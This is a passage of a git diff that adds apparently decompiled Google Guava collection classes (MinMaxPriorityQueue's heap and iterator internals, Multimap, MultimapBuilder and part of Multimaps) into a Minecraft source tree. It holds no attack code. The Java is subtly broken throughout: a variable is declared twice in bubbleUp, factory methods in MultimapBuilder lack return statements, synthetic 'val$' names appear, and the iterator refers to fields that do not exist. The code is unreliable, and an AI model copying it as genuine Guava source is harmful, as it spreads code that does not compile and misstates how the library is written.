+      if (otherHeap.bubbleUpAlternatingLevels(crossOver, toTrickle) < removeIndex)
+      {
+        return new MinMaxPriorityQueue.MoveDesc(toTrickle, parent);
+      }
+      return null;
+    }
+    
+
+
+
+    void bubbleUp(int index, E x)
+    {
+      int crossOver = crossOverUp(index, x);
+      MinMaxPriorityQueue<E>.Heap heap;
+      MinMaxPriorityQueue<E>.Heap heap;
+      if (crossOver == index) {
+        heap = this;
+      } else {
+        index = crossOver;
+        heap = otherHeap;
+      }
+      heap.bubbleUpAlternatingLevels(index, x);
+    }
+    
+
+
+
+    int bubbleUpAlternatingLevels(int index, E x)
+    {
+      while (index > 2) {
+        int grandParentIndex = getGrandparentIndex(index);
+        E e = elementData(grandParentIndex);
+        if (ordering.compare(e, x) <= 0) {
+          break;
+        }
+        queue[index] = e;
+        index = grandParentIndex;
+      }
+      queue[index] = x;
+      return index;
+    }
+    
+
+
+
+
+    int findMin(int index, int len)
+    {
+      if (index >= size) {
+        return -1;
+      }
+      Preconditions.checkState(index > 0);
+      int limit = Math.min(index, size - len) + len;
+      int minIndex = index;
+      for (int i = index + 1; i < limit; i++) {
+        if (compareElements(i, minIndex) < 0) {
+          minIndex = i;
+        }
+      }
+      return minIndex;
+    }
+    
+
+
+    int findMinChild(int index)
+    {
+      return findMin(getLeftChildIndex(index), 2);
+    }
+    
+
+
+    int findMinGrandChild(int index)
+    {
+      int leftChildIndex = getLeftChildIndex(index);
+      if (leftChildIndex < 0) {
+        return -1;
+      }
+      return findMin(getLeftChildIndex(leftChildIndex), 4);
+    }
+    
+
+
+
+
+    int crossOverUp(int index, E x)
+    {
+      if (index == 0) {
+        queue[0] = x;
+        return 0;
+      }
+      int parentIndex = getParentIndex(index);
+      E parentElement = elementData(parentIndex);
+      if (parentIndex != 0)
+      {
+
+
+
+        int grandparentIndex = getParentIndex(parentIndex);
+        int uncleIndex = getRightChildIndex(grandparentIndex);
+        if ((uncleIndex != parentIndex) && (getLeftChildIndex(uncleIndex) >= size))
+        {
+          E uncleElement = elementData(uncleIndex);
+          if (ordering.compare(uncleElement, parentElement) < 0) {
+            parentIndex = uncleIndex;
+            parentElement = uncleElement;
+          }
+        }
+      }
+      if (ordering.compare(parentElement, x) < 0) {
+        queue[index] = parentElement;
+        queue[parentIndex] = x;
+        return parentIndex;
+      }
+      queue[index] = x;
+      return index;
+    }
+    
+
+
+
+
+
+
+
+
+    int getCorrectLastElement(E actualLastElement)
+    {
+      int parentIndex = getParentIndex(size);
+      if (parentIndex != 0) {
+        int grandparentIndex = getParentIndex(parentIndex);
+        int uncleIndex = getRightChildIndex(grandparentIndex);
+        if ((uncleIndex != parentIndex) && (getLeftChildIndex(uncleIndex) >= size))
+        {
+          E uncleElement = elementData(uncleIndex);
+          if (ordering.compare(uncleElement, actualLastElement) < 0) {
+            queue[uncleIndex] = actualLastElement;
+            queue[size] = uncleElement;
+            return uncleIndex;
+          }
+        }
+      }
+      return size;
+    }
+    
+
+
+
+
+
+    int crossOver(int index, E x)
+    {
+      int minChildIndex = findMinChild(index);
+      
+
+      if ((minChildIndex > 0) && (ordering.compare(elementData(minChildIndex), x) < 0))
+      {
+        queue[index] = elementData(minChildIndex);
+        queue[minChildIndex] = x;
+        return minChildIndex;
+      }
+      return crossOverUp(index, x);
+    }
+    
+
+
+
+
+    int fillHoleAt(int index)
+    {
+      int minGrandchildIndex;
+      
+
+
+      while ((minGrandchildIndex = findMinGrandChild(index)) > 0) {
+        queue[index] = elementData(minGrandchildIndex);
+        index = minGrandchildIndex;
+      }
+      return index;
+    }
+    
+    private boolean verifyIndex(int i) {
+      if ((getLeftChildIndex(i) < size) && (compareElements(i, getLeftChildIndex(i)) > 0))
+      {
+        return false;
+      }
+      if ((getRightChildIndex(i) < size) && (compareElements(i, getRightChildIndex(i)) > 0))
+      {
+        return false;
+      }
+      if ((i > 0) && (compareElements(i, getParentIndex(i)) > 0)) {
+        return false;
+      }
+      if ((i > 2) && (compareElements(getGrandparentIndex(i), i) > 0)) {
+        return false;
+      }
+      return true;
+    }
+    
+
+    private int getLeftChildIndex(int i)
+    {
+      return i * 2 + 1;
+    }
+    
+    private int getRightChildIndex(int i) {
+      return i * 2 + 2;
+    }
+    
+    private int getParentIndex(int i) {
+      return (i - 1) / 2;
+    }
+    
+    private int getGrandparentIndex(int i) {
+      return getParentIndex(getParentIndex(i));
+    }
+  }
+  
+
+
+
+
+  private class QueueIterator
+    implements Iterator<E>
+  {
+    private int cursor = -1;
+    private int expectedModCount = modCount;
+    private Queue<E> forgetMeNot;
+    private List<E> skipMe;
+    
+    private QueueIterator() {}
+    
+    public boolean hasNext() {
+      checkModCount();
+      return (nextNotInSkipMe(cursor + 1) < size()) || ((forgetMeNot != null) && (!forgetMeNot.isEmpty()));
+    }
+    
+    public E next()
+    {
+      checkModCount();
+      int tempCursor = nextNotInSkipMe(cursor + 1);
+      if (tempCursor < size()) {
+        cursor = tempCursor;
+        canRemove = true;
+        return elementData(cursor); }
+      if (forgetMeNot != null) {
+        cursor = size();
+        lastFromForgetMeNot = forgetMeNot.poll();
+        if (lastFromForgetMeNot != null) {
+          canRemove = true;
+          return lastFromForgetMeNot;
+        }
+      }
+      throw new NoSuchElementException("iterator moved past last element in queue.");
+    }
+    
+    public void remove()
+    {
+      CollectPreconditions.checkRemove(canRemove);
+      checkModCount();
+      canRemove = false;
+      expectedModCount += 1;
+      if (cursor < size()) {
+        MinMaxPriorityQueue.MoveDesc<E> moved = removeAt(cursor);
+        if (moved != null) {
+          if (forgetMeNot == null) {
+            forgetMeNot = new ArrayDeque();
+            skipMe = new ArrayList(3);
+          }
+          forgetMeNot.add(toTrickle);
+          skipMe.add(replaced);
+        }
+        cursor -= 1;
+      } else {
+        Preconditions.checkState(removeExact(lastFromForgetMeNot));
+        lastFromForgetMeNot = null;
+      }
+    }
+    
+    private boolean containsExact(Iterable<E> elements, E target)
+    {
+      for (E element : elements) {
+        if (element == target) {
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    boolean removeExact(Object target)
+    {
+      for (int i = 0; i < size; i++) {
+        if (queue[i] == target) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    void checkModCount() {
+      if (modCount != expectedModCount) {
+        throw new ConcurrentModificationException();
+      }
+    }
+    
+
+
+
+    private int nextNotInSkipMe(int c)
+    {
+      if (skipMe != null) {
+        while ((c < size()) && (containsExact(skipMe, elementData(c)))) {
+          c++;
+        }
+      }
+      return c;
+    }
+    
+
+
+
+
+
+
+    private E lastFromForgetMeNot;
+    
+
+
+
+
+
+    private boolean canRemove;
+  }
+  
+
+
+
+
+
+
+  public Iterator<E> iterator()
+  {
+    return new QueueIterator(null);
+  }
+  
+  public void clear() {
+    for (int i = 0; i < size; i++) {
+      queue[i] = null;
+    }
+    size = 0;
+  }
+  
+  public Object[] toArray() {
+    Object[] copyTo = new Object[size];
+    System.arraycopy(queue, 0, copyTo, 0, size);
+    return copyTo;
+  }
+  
+
+
+
+
+  public Comparator<? super E> comparator()
+  {
+    return minHeap.ordering;
+  }
+  
+  @VisibleForTesting
+  int capacity() { return queue.length; }
+  
+
+
+
+
+
+  @VisibleForTesting
+  static int initialQueueSize(int configuredExpectedSize, int maximumSize, Iterable<?> initialContents)
+  {
+    int result = configuredExpectedSize == -1 ? 11 : configuredExpectedSize;
+    
+
+
+
+    if ((initialContents instanceof Collection)) {
+      int initialSize = ((Collection)initialContents).size();
+      result = Math.max(result, initialSize);
+    }
+    
+
+    return capAtMaximumSize(result, maximumSize);
+  }
+  
+  private void growIfNeeded() {
+    if (size > queue.length) {
+      int newCapacity = calculateNewCapacity();
+      Object[] newQueue = new Object[newCapacity];
+      System.arraycopy(queue, 0, newQueue, 0, queue.length);
+      queue = newQueue;
+    }
+  }
+  
+  private int calculateNewCapacity()
+  {
+    int oldCapacity = queue.length;
+    int newCapacity = oldCapacity < 64 ? (oldCapacity + 1) * 2 : IntMath.checkedMultiply(oldCapacity / 2, 3);
+    
+
+    return capAtMaximumSize(newCapacity, maximumSize);
+  }
+  
+  private static int capAtMaximumSize(int queueSize, int maximumSize)
+  {
+    return Math.min(queueSize - 1, maximumSize) + 1;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Multimap.java b/src/minecraft/com/google/common/collect/Multimap.java
new file mode 100644
index 0000000..08da75b
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Multimap.java
@@ -0,0 +1,52 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface Multimap<K, V>
+{
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(@Nullable Object paramObject);
+  
+  public abstract boolean containsValue(@Nullable Object paramObject);
+  
+  public abstract boolean containsEntry(@Nullable Object paramObject1, @Nullable Object paramObject2);
+  
+  public abstract boolean put(@Nullable K paramK, @Nullable V paramV);
+  
+  public abstract boolean remove(@Nullable Object paramObject1, @Nullable Object paramObject2);
+  
+  public abstract boolean putAll(@Nullable K paramK, Iterable<? extends V> paramIterable);
+  
+  public abstract boolean putAll(Multimap<? extends K, ? extends V> paramMultimap);
+  
+  public abstract Collection<V> replaceValues(@Nullable K paramK, Iterable<? extends V> paramIterable);
+  
+  public abstract Collection<V> removeAll(@Nullable Object paramObject);
+  
+  public abstract void clear();
+  
+  public abstract Collection<V> get(@Nullable K paramK);
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Multiset<K> keys();
+  
+  public abstract Collection<V> values();
+  
+  public abstract Collection<Map.Entry<K, V>> entries();
+  
+  public abstract Map<K, Collection<V>> asMap();
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/com/google/common/collect/MultimapBuilder.java b/src/minecraft/com/google/common/collect/MultimapBuilder.java
new file mode 100644
index 0000000..5e8247f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MultimapBuilder.java
@@ -0,0 +1,485 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.EnumMap;
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class MultimapBuilder<K0, V0>
+{
+  private static final int DEFAULT_EXPECTED_KEYS = 8;
+  
+  private MultimapBuilder() {}
+  
+  public static MultimapBuilderWithKeys<Object> hashKeys()
+  {
+    return hashKeys(8);
+  }
+  
+
+
+
+
+
+  public static MultimapBuilderWithKeys<Object> hashKeys(int expectedKeys)
+  {
+    CollectPreconditions.checkNonnegative(expectedKeys, "expectedKeys");
+    new MultimapBuilderWithKeys()
+    {
+      <K, V> Map<K, Collection<V>> createMap() {
+        return new HashMap(val$expectedKeys);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+  public static MultimapBuilderWithKeys<Object> linkedHashKeys()
+  {
+    return linkedHashKeys(8);
+  }
+  
+
+
+
+
+
+
+
+
+  public static MultimapBuilderWithKeys<Object> linkedHashKeys(int expectedKeys)
+  {
+    CollectPreconditions.checkNonnegative(expectedKeys, "expectedKeys");
+    new MultimapBuilderWithKeys()
+    {
+      <K, V> Map<K, Collection<V>> createMap() {
+        return new LinkedHashMap(val$expectedKeys);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static MultimapBuilderWithKeys<Comparable> treeKeys()
+  {
+    return treeKeys(Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K0> MultimapBuilderWithKeys<K0> treeKeys(Comparator<K0> comparator)
+  {
+    Preconditions.checkNotNull(comparator);
+    new MultimapBuilderWithKeys()
+    {
+      <K extends K0, V> Map<K, Collection<V>> createMap() {
+        return new TreeMap(val$comparator);
+      }
+    };
+  }
+  
+
+
+
+  public static <K0 extends Enum<K0>> MultimapBuilderWithKeys<K0> enumKeys(Class<K0> keyClass)
+  {
+    Preconditions.checkNotNull(keyClass);
+    new MultimapBuilderWithKeys()
+    {
+
+
+
+      <K extends K0, V> Map<K, Collection<V>> createMap() {
+        return new EnumMap(val$keyClass); }
+    };
+  }
+  
+  public abstract <K extends K0, V extends V0> Multimap<K, V> build();
+  
+  private static final class ArrayListSupplier<V> implements Supplier<List<V>>, Serializable {
+    private final int expectedValuesPerKey;
+    
+    ArrayListSupplier(int expectedValuesPerKey) { this.expectedValuesPerKey = CollectPreconditions.checkNonnegative(expectedValuesPerKey, "expectedValuesPerKey"); }
+    
+
+    public List<V> get()
+    {
+      return new ArrayList(expectedValuesPerKey);
+    }
+  }
+  
+  private static enum LinkedListSupplier implements Supplier<List<Object>> {
+    INSTANCE;
+    
+    private LinkedListSupplier() {}
+    
+    public static <V> Supplier<List<V>> instance() {
+      Supplier<List<V>> result = INSTANCE;
+      return result;
+    }
+    
+    public List<Object> get()
+    {
+      return new LinkedList();
+    }
+  }
+  
+  private static final class HashSetSupplier<V> implements Supplier<Set<V>>, Serializable {
+    private final int expectedValuesPerKey;
+    
+    HashSetSupplier(int expectedValuesPerKey) {
+      this.expectedValuesPerKey = CollectPreconditions.checkNonnegative(expectedValuesPerKey, "expectedValuesPerKey");
+    }
+    
+    public Set<V> get()
+    {
+      return new HashSet(expectedValuesPerKey);
+    }
+  }
+  
+  private static final class LinkedHashSetSupplier<V> implements Supplier<Set<V>>, Serializable {
+    private final int expectedValuesPerKey;
+    
+    LinkedHashSetSupplier(int expectedValuesPerKey) {
+      this.expectedValuesPerKey = CollectPreconditions.checkNonnegative(expectedValuesPerKey, "expectedValuesPerKey");
+    }
+    
+    public Set<V> get()
+    {
+      return new LinkedHashSet(expectedValuesPerKey);
+    }
+  }
+  
+  private static final class TreeSetSupplier<V> implements Supplier<SortedSet<V>>, Serializable {
+    private final Comparator<? super V> comparator;
+    
+    TreeSetSupplier(Comparator<? super V> comparator) {
+      this.comparator = ((Comparator)Preconditions.checkNotNull(comparator));
+    }
+    
+    public SortedSet<V> get()
+    {
+      return new TreeSet(comparator);
+    }
+  }
+  
+  private static final class EnumSetSupplier<V extends Enum<V>> implements Supplier<Set<V>>, Serializable
+  {
+    private final Class<V> clazz;
+    
+    EnumSetSupplier(Class<V> clazz) {
+      this.clazz = ((Class)Preconditions.checkNotNull(clazz));
+    }
+    
+    public Set<V> get()
+    {
+      return EnumSet.noneOf(clazz);
+    }
+  }
+  
+
+
+  public static abstract class MultimapBuilderWithKeys<K0>
+  {
+    private static final int DEFAULT_EXPECTED_VALUES_PER_KEY = 2;
+    
+
+
+    MultimapBuilderWithKeys() {}
+    
+
+
+    abstract <K extends K0, V> Map<K, Collection<V>> createMap();
+    
+
+
+    public MultimapBuilder.ListMultimapBuilder<K0, Object> arrayListValues()
+    {
+      return arrayListValues(2);
+    }
+    
+
+
+
+
+
+    public MultimapBuilder.ListMultimapBuilder<K0, Object> arrayListValues(final int expectedValuesPerKey)
+    {
+      CollectPreconditions.checkNonnegative(expectedValuesPerKey, "expectedValuesPerKey");
+      new MultimapBuilder.ListMultimapBuilder()
+      {
+        public <K extends K0, V> ListMultimap<K, V> build() {
+          return Multimaps.newListMultimap(createMap(), new MultimapBuilder.ArrayListSupplier(expectedValuesPerKey));
+        }
+      };
+    }
+    
+
+
+
+
+    public MultimapBuilder.ListMultimapBuilder<K0, Object> linkedListValues()
+    {
+      new MultimapBuilder.ListMultimapBuilder()
+      {
+        public <K extends K0, V> ListMultimap<K, V> build() {
+          return Multimaps.newListMultimap(createMap(), MultimapBuilder.LinkedListSupplier.instance());
+        }
+      };
+    }
+    
+
+
+
+
+    public MultimapBuilder.SetMultimapBuilder<K0, Object> hashSetValues()
+    {
+      return hashSetValues(2);
+    }
+    
+
+
+
+
+
+    public MultimapBuilder.SetMultimapBuilder<K0, Object> hashSetValues(final int expectedValuesPerKey)
+    {
+      CollectPreconditions.checkNonnegative(expectedValuesPerKey, "expectedValuesPerKey");
+      new MultimapBuilder.SetMultimapBuilder()
+      {
+        public <K extends K0, V> SetMultimap<K, V> build() {
+          return Multimaps.newSetMultimap(createMap(), new MultimapBuilder.HashSetSupplier(expectedValuesPerKey));
+        }
+      };
+    }
+    
+
+
+
+
+    public MultimapBuilder.SetMultimapBuilder<K0, Object> linkedHashSetValues()
+    {
+      return linkedHashSetValues(2);
+    }
+    
+
+
+
+
+
+    public MultimapBuilder.SetMultimapBuilder<K0, Object> linkedHashSetValues(final int expectedValuesPerKey)
+    {
+      CollectPreconditions.checkNonnegative(expectedValuesPerKey, "expectedValuesPerKey");
+      new MultimapBuilder.SetMultimapBuilder()
+      {
+        public <K extends K0, V> SetMultimap<K, V> build() {
+          return Multimaps.newSetMultimap(createMap(), new MultimapBuilder.LinkedHashSetSupplier(expectedValuesPerKey));
+        }
+      };
+    }
+    
+
+
+
+
+
+    public MultimapBuilder.SortedSetMultimapBuilder<K0, Comparable> treeSetValues()
+    {
+      return treeSetValues(Ordering.natural());
+    }
+    
+
+
+
+
+
+    public <V0> MultimapBuilder.SortedSetMultimapBuilder<K0, V0> treeSetValues(final Comparator<V0> comparator)
+    {
+      Preconditions.checkNotNull(comparator, "comparator");
+      new MultimapBuilder.SortedSetMultimapBuilder()
+      {
+        public <K extends K0, V extends V0> SortedSetMultimap<K, V> build() {
+          return Multimaps.newSortedSetMultimap(createMap(), new MultimapBuilder.TreeSetSupplier(comparator));
+        }
+      };
+    }
+    
+
+
+
+
+
+    public <V0 extends Enum<V0>> MultimapBuilder.SetMultimapBuilder<K0, V0> enumSetValues(final Class<V0> valueClass)
+    {
+      Preconditions.checkNotNull(valueClass, "valueClass");
+      new MultimapBuilder.SetMultimapBuilder()
+      {
+
+        public <K extends K0, V extends V0> SetMultimap<K, V> build()
+        {
+
+          Supplier<Set<V>> factory = new MultimapBuilder.EnumSetSupplier(valueClass);
+          return Multimaps.newSetMultimap(createMap(), factory);
+        }
+      };
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public <K extends K0, V extends V0> Multimap<K, V> build(Multimap<? extends K, ? extends V> multimap)
+  {
+    Multimap<K, V> result = build();
+    result.putAll(multimap);
+    return result;
+  }
+  
+  public static abstract class ListMultimapBuilder<K0, V0> extends MultimapBuilder<K0, V0>
+  {
+    ListMultimapBuilder()
+    {
+      super();
+    }
+    
+
+    public abstract <K extends K0, V extends V0> ListMultimap<K, V> build();
+    
+    public <K extends K0, V extends V0> ListMultimap<K, V> build(Multimap<? extends K, ? extends V> multimap)
+    {
+      return (ListMultimap)super.build(multimap);
+    }
+  }
+  
+  public static abstract class SetMultimapBuilder<K0, V0> extends MultimapBuilder<K0, V0>
+  {
+    SetMultimapBuilder()
+    {
+      super();
+    }
+    
+
+    public abstract <K extends K0, V extends V0> SetMultimap<K, V> build();
+    
+    public <K extends K0, V extends V0> SetMultimap<K, V> build(Multimap<? extends K, ? extends V> multimap)
+    {
+      return (SetMultimap)super.build(multimap);
+    }
+  }
+  
+
+  public static abstract class SortedSetMultimapBuilder<K0, V0>
+    extends MultimapBuilder.SetMultimapBuilder<K0, V0>
+  {
+    SortedSetMultimapBuilder() {}
+    
+
+    public abstract <K extends K0, V extends V0> SortedSetMultimap<K, V> build();
+    
+
+    public <K extends K0, V extends V0> SortedSetMultimap<K, V> build(Multimap<? extends K, ? extends V> multimap)
+    {
+      return (SortedSetMultimap)super.build(multimap);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Multimaps.java b/src/minecraft/com/google/common/collect/Multimaps.java
new file mode 100644
index 0000000..53f01c9
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Multimaps.java
@@ -0,0 +1,2057 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.base.Supplier;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.AbstractCollection;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Multimaps
+{
+  private Multimaps() {}
+  
+  public static <K, V> Multimap<K, V> newMultimap(Map<K, Collection<V>> map, Supplier<? extends Collection<V>> factory) { return new CustomMultimap(map, factory); }
+  
+  private static class CustomMultimap<K, V> extends AbstractMapBasedMultimap<K, V> {
+    transient Supplier<? extends Collection<V>> factory;
+    @GwtIncompatible("java serialization not supported")
+    private static final long serialVersionUID = 0L;
+    
+    CustomMultimap(Map<K, Collection<V>> map, Supplier<? extends Collection<V>> factory) {
+      super();
+      this.factory = ((Supplier)Preconditions.checkNotNull(factory));
+    }
+    
+    protected Collection<V> createCollection() {
+      return (Collection)factory.get();
+    }
+    
+
+
+    @GwtIncompatible("java.io.ObjectOutputStream")
+    private void writeObject(ObjectOutputStream stream)
+      throws IOException
+    {
+      stream.defaultWriteObject();
+      stream.writeObject(factory);
+      stream.writeObject(backingMap());
+    }
+    
+    @GwtIncompatible("java.io.ObjectInputStream")
+    private void readObject(ObjectInputStream stream)
+      throws IOException, ClassNotFoundException
+    {
+      stream.defaultReadObject();
+      factory = ((Supplier)stream.readObject());
+      Map<K, Collection<V>> map = (Map)stream.readObject();
+      setMap(map);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ListMultimap<K, V> newListMultimap(Map<K, Collection<V>> map, Supplier<? extends List<V>> factory)
+  {
+    return new CustomListMultimap(map, factory);
+  }
+  
+  private static class CustomListMultimap<K, V> extends AbstractListMultimap<K, V> {
+    transient Supplier<? extends List<V>> factory;
+    @GwtIncompatible("java serialization not supported")
+    private static final long serialVersionUID = 0L;
+    
+    CustomListMultimap(Map<K, Collection<V>> map, Supplier<? extends List<V>> factory) {
+      super();
+      this.factory = ((Supplier)Preconditions.checkNotNull(factory));
+    }
+    
+    protected List<V> createCollection() {
+      return (List)factory.get();
+    }
+    
+    @GwtIncompatible("java.io.ObjectOutputStream")
+    private void writeObject(ObjectOutputStream stream) throws IOException
+    {
+      stream.defaultWriteObject();
+      stream.writeObject(factory);
+      stream.writeObject(backingMap());
+    }
+    
+    @GwtIncompatible("java.io.ObjectInputStream")
+    private void readObject(ObjectInputStream stream)
+      throws IOException, ClassNotFoundException
+    {
+      stream.defaultReadObject();
+      factory = ((Supplier)stream.readObject());
+      Map<K, Collection<V>> map = (Map)stream.readObject();
+      setMap(map);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> newSetMultimap(Map<K, Collection<V>> map, Supplier<? extends Set<V>> factory)
+  {
+    return new CustomSetMultimap(map, factory);
+  }
+  
+  private static class CustomSetMultimap<K, V> extends AbstractSetMultimap<K, V> {
+    transient Supplier<? extends Set<V>> factory;
+    @GwtIncompatible("not needed in emulated source")
+    private static final long serialVersionUID = 0L;
+    
+    CustomSetMultimap(Map<K, Collection<V>> map, Supplier<? extends Set<V>> factory) {
+      super();
+      this.factory = ((Supplier)Preconditions.checkNotNull(factory));
+    }
+    
+    protected Set<V> createCollection() {
+      return (Set)factory.get();
+    }
+    
+    @GwtIncompatible("java.io.ObjectOutputStream")
+    private void writeObject(ObjectOutputStream stream) throws IOException
+    {
+      stream.defaultWriteObject();
+      stream.writeObject(factory);
+      stream.writeObject(backingMap());
+    }
+    
+    @GwtIncompatible("java.io.ObjectInputStream")
+    private void readObject(ObjectInputStream stream)
+      throws IOException, ClassNotFoundException
+    {
+      stream.defaultReadObject();
+      factory = ((Supplier)stream.readObject());
+      Map<K, Collection<V>> map = (Map)stream.readObject();
+      setMap(map);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedSetMultimap<K, V> newSortedSetMultimap(Map<K, Collection<V>> map, Supplier<? extends SortedSet<V>> factory)
+  {
+    return new CustomSortedSetMultimap(map, factory);
+  }
+  
+  private static class CustomSortedSetMultimap<K, V> extends AbstractSortedSetMultimap<K, V> {
+    transient Supplier<? extends SortedSet<V>> factory;
+    transient Comparator<? super V> valueComparator;
+    @GwtIncompatible("not needed in emulated source")
+    private static final long serialVersionUID = 0L;
+    
+    CustomSortedSetMultimap(Map<K, Collection<V>> map, Supplier<? extends SortedSet<V>> factory) {
+      super();
+      this.factory = ((Supplier)Preconditions.checkNotNull(factory));
+      valueComparator = ((SortedSet)factory.get()).comparator();
+    }
+    
+    protected SortedSet<V> createCollection() {
+      return (SortedSet)factory.get();
+    }
+    
+    public Comparator<? super V> valueComparator() {
+      return valueComparator;
+    }
+    
+    @GwtIncompatible("java.io.ObjectOutputStream")
+    private void writeObject(ObjectOutputStream stream) throws IOException
+    {
+      stream.defaultWriteObject();
+      stream.writeObject(factory);
+      stream.writeObject(backingMap());
+    }
+    
+    @GwtIncompatible("java.io.ObjectInputStream")
+    private void readObject(ObjectInputStream stream)
+      throws IOException, ClassNotFoundException
+    {
+      stream.defaultReadObject();
+      factory = ((Supplier)stream.readObject());
+      valueComparator = ((SortedSet)factory.get()).comparator();
+      Map<K, Collection<V>> map = (Map)stream.readObject();
+      setMap(map);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V, M extends Multimap<K, V>> M invertFrom(Multimap<? extends V, ? extends K> source, M dest)
+  {
+    Preconditions.checkNotNull(dest);
+    for (Map.Entry<? extends V, ? extends K> entry : source.entries()) {
+      dest.put(entry.getValue(), entry.getKey());
+    }
+    return dest;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Multimap<K, V> synchronizedMultimap(Multimap<K, V> multimap)
+  {
+    return Synchronized.multimap(multimap, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Multimap<K, V> unmodifiableMultimap(Multimap<K, V> delegate)
+  {
+    if (((delegate instanceof UnmodifiableMultimap)) || ((delegate instanceof ImmutableMultimap)))
+    {
+      return delegate;
+    }
+    return new UnmodifiableMultimap(delegate);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public static <K, V> Multimap<K, V> unmodifiableMultimap(ImmutableMultimap<K, V> delegate)
+  {
+    return (Multimap)Preconditions.checkNotNull(delegate);
+  }
+  
+  private static class UnmodifiableMultimap<K, V> extends ForwardingMultimap<K, V> implements Serializable {
+    final Multimap<K, V> delegate;
+    transient Collection<Map.Entry<K, V>> entries;
+    transient Multiset<K> keys;
+    transient Set<K> keySet;
+    transient Collection<V> values;
+    transient Map<K, Collection<V>> map;
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableMultimap(Multimap<K, V> delegate) {
+      this.delegate = ((Multimap)Preconditions.checkNotNull(delegate));
+    }
+    
+    protected Multimap<K, V> delegate() {
+      return delegate;
+    }
+    
+    public void clear() {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Map<K, Collection<V>> asMap() {
+      Map<K, Collection<V>> result = map;
+      if (result == null) {
+        result = this.map = Collections.unmodifiableMap(Maps.transformValues(delegate.asMap(), new Function()
+        {
+          public Collection<V> apply(Collection<V> collection)
+          {
+            return Multimaps.unmodifiableValueCollection(collection);
+          }
+        }));
+      }
+      return result;
+    }
+    
+    public Collection<Map.Entry<K, V>> entries() {
+      Collection<Map.Entry<K, V>> result = entries;
+      if (result == null) {
+        entries = (result = Multimaps.unmodifiableEntries(delegate.entries()));
+      }
+      return result;
+    }
+    
+    public Collection<V> get(K key) {
+      return Multimaps.unmodifiableValueCollection(delegate.get(key));
+    }
+    
+    public Multiset<K> keys() {
+      Multiset<K> result = keys;
+      if (result == null) {
+        keys = (result = Multisets.unmodifiableMultiset(delegate.keys()));
+      }
+      return result;
+    }
+    
+    public Set<K> keySet() {
+      Set<K> result = keySet;
+      if (result == null) {
+        keySet = (result = Collections.unmodifiableSet(delegate.keySet()));
+      }
+      return result;
+    }
+    
+    public boolean put(K key, V value) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean putAll(K key, Iterable<? extends V> values) {
+      throw new UnsupportedOperationException();
+    }
